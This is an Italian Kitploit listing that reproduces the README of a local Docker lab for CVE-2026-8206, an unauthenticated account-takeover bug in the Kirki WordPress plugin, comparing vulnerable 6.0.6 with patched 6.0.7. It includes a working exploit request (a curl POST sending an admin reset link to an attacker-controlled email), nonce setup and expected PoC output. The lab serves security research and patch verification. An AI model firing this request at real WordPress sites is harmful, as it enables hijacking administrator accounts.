Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

Laboratorio Docker locale che dimostra CVE-2026-8206, acquisizione di account non autenticata nel plugin Kirki per WordPress. Confronta la versione vulnerabile 6.0.6 con la versione corretta 6.0.7, con script PoC e verifica delle email catturate.

Vedi Repository
143 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-8206 - Lab di Account Takeover su Kirki

Laboratorio Docker locale per dimostrare CVE-2026-8206 nel plugin WordPress Kirki.

Questo repository confronta le versioni reali del plugin Kirki:

  • vuln: Kirki 6.0.6
  • patched: Kirki 6.0.7

Il laboratorio è solo locale e vincola i servizi WordPress a 127.0.0.1. Il PoC è a minimo danno: richiede un reset della password e verifica il destinatario dell'email catturata all'interno del laboratorio. Non modifica alcuna password.


Riepilogo

CVE-2026-8206 è una vulnerabilità di account takeover / escalation dei privilegi non autenticata nelle versioni 6.0.0 fino a 6.0.6 di Kirki.

Il gestore vulnerabile del reset della password crea una chiave di reset per un utente WordPress reale selezionato tramite , ma invia l'email di reset a un indirizzo email arbitrario fornito nella richiesta.

username

In questo laboratorio:

root@kitploit:~
vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

Componente Affetto

  • Prodotto: Kirki – Freeform Page Builder, Website Builder & Customizer
  • Versioni affette: 6.0.0 a 6.0.6
  • Versione corretta: 6.0.7
  • Endpoint vulnerabile usato in questo laboratorio:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

Causa Principale

Il gestore vulnerabile è:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

Comportamento vulnerabile in 6.0.6

Kirki legge l'email fornita dall'attaccante dal corpo della richiesta:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

Successivamente risolve l'utente WordPress target tramite username e crea una chiave di reset della password per quell'utente:

root@kitploit:~
$key = get_password_reset_key( $user );

Ma l'email di reset finale viene inviata all'$email fornita nella richiesta:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

Questo rompe il confine di fiducia tra l'identità dell'account e il destinatario dell'email di reset. Un richiedente non autenticato può fornire:

root@kitploit:~
username=admin
[email protected]

La chiave di reset appartiene a admin, ma l'email viene consegnata all'indirizzo controllato dall'attaccante.

Comportamento corretto in 6.0.7

Kirki 6.0.7 verifica che l'email fornita corrisponda all'email registrata dell'utente risolto, quindi forza il destinatario all'email dell'account prima di inviare:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

Progettazione del Laboratorio

ServizioScopoURL Host
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vulnMySQL per WordPress vulnerabileSolo rete Docker
db_patchedMySQL per WordPress correttoSolo rete Docker
wpcli_vulnInizializza WordPress vulnerabileconfigurazione una tantum
wpcli_patchedInizializza WordPress correttoconfigurazione una tantum

La posta locale viene catturata in file invece di essere inviata esternamente:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

Il laboratorio utilizza versioni reali del plugin Kirki installate con WP-CLI. Il sorgente del plugin non è modificato.


Struttura del Repository

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

Requisiti

  • Docker Desktop o Docker Engine
  • Docker Compose v2
  • Python 3
  • Pacchetto Python requests

Installa la dipendenza Python se necessario:

root@kitploit:~
python3 -m pip install requests

Eseguire il Laboratorio

Avvia i container:

root@kitploit:~
docker compose up -d --build

Inizializza entrambe le istanze WordPress:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

Esegui il PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

Risultati Attesi

Vulnerabile: Kirki 6.0.6

Risultato atteso:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

Questo dimostra che la versione vulnerabile ha inviato un'email di reset della password per l'account target all'indirizzo controllato dall'attaccante.

Corretto: Kirki 6.0.7

Risultato atteso:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

Questo dimostra che la versione corretta rifiuta la discordanza tra username ed email e non invia l'email di reset all'indirizzo controllato dall'attaccante.


Verifica Manuale

Crea il nonce corretto dell'elemento Kirki all'interno del laboratorio vulnerabile:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

Invia una richiesta solo locale al servizio vulnerabile:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

Controlla la posta catturata:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

Evidenza vulnerabile attesa:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

Sicurezza

Questo laboratorio è destinato esclusivamente alla ricerca sulla sicurezza locale e alla dimostrazione del portfolio.

Salvaguardie:

  • Vincola i servizi solo a 127.0.0.1.
  • Utilizza indirizzi email locali fittizi.
  • Cattura la posta localmente invece di inviare email reali.
  • Non modifica le password.
  • Non tenta sfruttamento contro sistemi esterni.

Pulizia

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

Riferimenti

  • Record CVE: https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Avviso Wordfence: https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Database vulnerabilità Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • Pagina del plugin WordPress / changelog: https://wordpress.org/plugins/kirki/
  • Voce OpenCVE: https://app.opencve.io/cve/CVE-2026-8206
Scarica lo strumento